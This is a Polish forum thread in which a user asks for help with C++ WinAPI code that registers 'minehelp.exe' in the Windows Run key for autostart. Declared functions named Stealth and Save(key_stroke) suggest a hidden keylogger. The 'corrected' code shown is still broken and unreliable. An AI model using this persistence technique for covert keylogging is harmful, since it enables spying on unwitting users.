C++ WinApi Dodawanie wartości do rejestru

0

szybko potrzebuje pomocy
staram się napisać i wywołać funkcję dodającą mój program do autostartu rejestru

co robię źle ?


void addRegValue( void ) 
{

    HKEY reg;
    char regKeyPath[] = "Software\Microsoft\Windows\CurrentVersion\Run";
    LONG ret = 0;
    
    ret = RegOpenKeyEx( HKEY_CURRENT_USER, regKeyPath, NULL, KEY_ALL_ACCESS, &reg );
    if( reg != ERROR_SUCCESS ) puts( "pobieranie uchwytu rejestru [!]\r\n" );
    
    ret = RegSetValueEx( C:\Windows\system32\minehelp.exe );
    if( ret != ERROR_SUCCESS ) puts( "C:\Windows\system32\minehelp.exe" );
}   

int Save (int key_stroke, char *file);
void Stealth();
void MainHelp();

int main()
{
addRegValue();
0

co dla kolegi up jest nie jasne ?
napisałem że próbuje dodać program do autostartu w rejestrze ..
podałem kod który wykombinowałem
i osoba która wie jak to dodać chyba się domyśli co jest w tym kodzie źle

no ok dodam koledze że Visual Studio wywala mi
[code]
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(19): warning C4129: 'M' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(19): warning C4129: 'W' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(19): warning C4129: 'C' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(19): warning C4129: 'R' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(22): error C2664: 'RegOpenKeyExW' : cannot convert parameter 2 from 'char [42]' to 'LPCWSTR'
1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2065: 'C' : undeclared identifier
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2143: syntax error : missing ')' before ':'
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2017: illegal escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2017: illegal escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2017: illegal escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(25): error C2059: syntax error : ')'
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(26): warning C4129: 'W' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(26): warning C4129: 's' : unrecognized character escape sequence
1>c:\users\sync667\documents\visual studio 2010\projects\minehelp\minehelp\basic.cpp(26): warning C4129: 'm' : unrecognized character escape sequence
[/code]

0

A jak powinien wyglądać poprawnie string w C++ zawierający ścieżkę dostępu to tego też nie wiesz ?

0

sorry up fakt zapomniałem o "" ale to i tak po poprawce wywalało błąd

powiem wam jaka głupota za tym stała
wystarczyło w ustawieniach projektu Use Character Set(zakładka General) z Use Unicode... na Use Multi-byte... lub Not set

i po kłopocie
poprawiony kod:
[code]
void addRegValue( void )
{

HKEY reg;
LONG result;

result = RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", NULL, KEY_ALL_ACCESS, &reg );
if( result = ERROR_SUCCESS ) puts( "pobieranie uchwytu rejestru [!]\r\n" );

result = RegSetValueEx(reg, "C:\Windows\system32\minehelp.exe",  0, REG_SZ,( LPBYTE ) buf, lstrlen( buf ) + 1 );
if( result = ERROR_SUCCESS ) puts( "C:\Windows\system32\minehelp.exe" );

}
[/code]

0

Ale czemu nie używasz w ścieżkach podwójnych \ to jest \ ?

1 użytkowników online, w tym zalogowanych: 0, gości: 1